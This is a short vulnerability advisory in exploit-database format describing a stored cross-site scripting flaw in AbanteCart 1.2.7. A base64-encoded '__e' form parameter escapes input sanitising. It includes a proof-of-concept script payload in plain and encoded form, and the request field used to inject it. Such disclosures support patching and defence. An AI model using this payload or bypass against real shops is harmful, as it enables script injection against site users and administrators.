AbanteCart 1.2.7 Cross Site Scripting

`# Exploit Title: AbanteCart 1.2.7 Stored XSS  
# Date: 06-12-2016  
# Software Link: http://www.abantecart.com/  
# Exploit Author: Kacper Szurek  
# Contact: http://twitter.com/KacperSzurek  
# Website: http://security.szurek.pl/  
# Category: webapps  
  
1. Description  
  
By default all user input is escaped using `htmlspecialchars`.  
  
But we can pass `__e` value which is base64 encoded and unfortunatelly those datas are not cleaned.  
  
http://security.szurek.pl/abantecart-127-stored-xss-and-sql-injection.html  
  
2. Proof of Concept  
  
For example `address_1="><script>alert(2);</script>&` can be encoded as: `__e=YWRkcmVzc18xPSI+PHNjcmlwdD5hbGVydCgyKTs8L3NjcmlwdD4m`.  
  
So create new order and set `address_1` value as `__e` using for example Burp:  
  
```  
Content-Disposition: form-data; name="__e"  
  
YWRkcmVzc18xPSI+PHNjcmlwdD5hbGVydCgyKTs8L3NjcmlwdD4m  
```  
`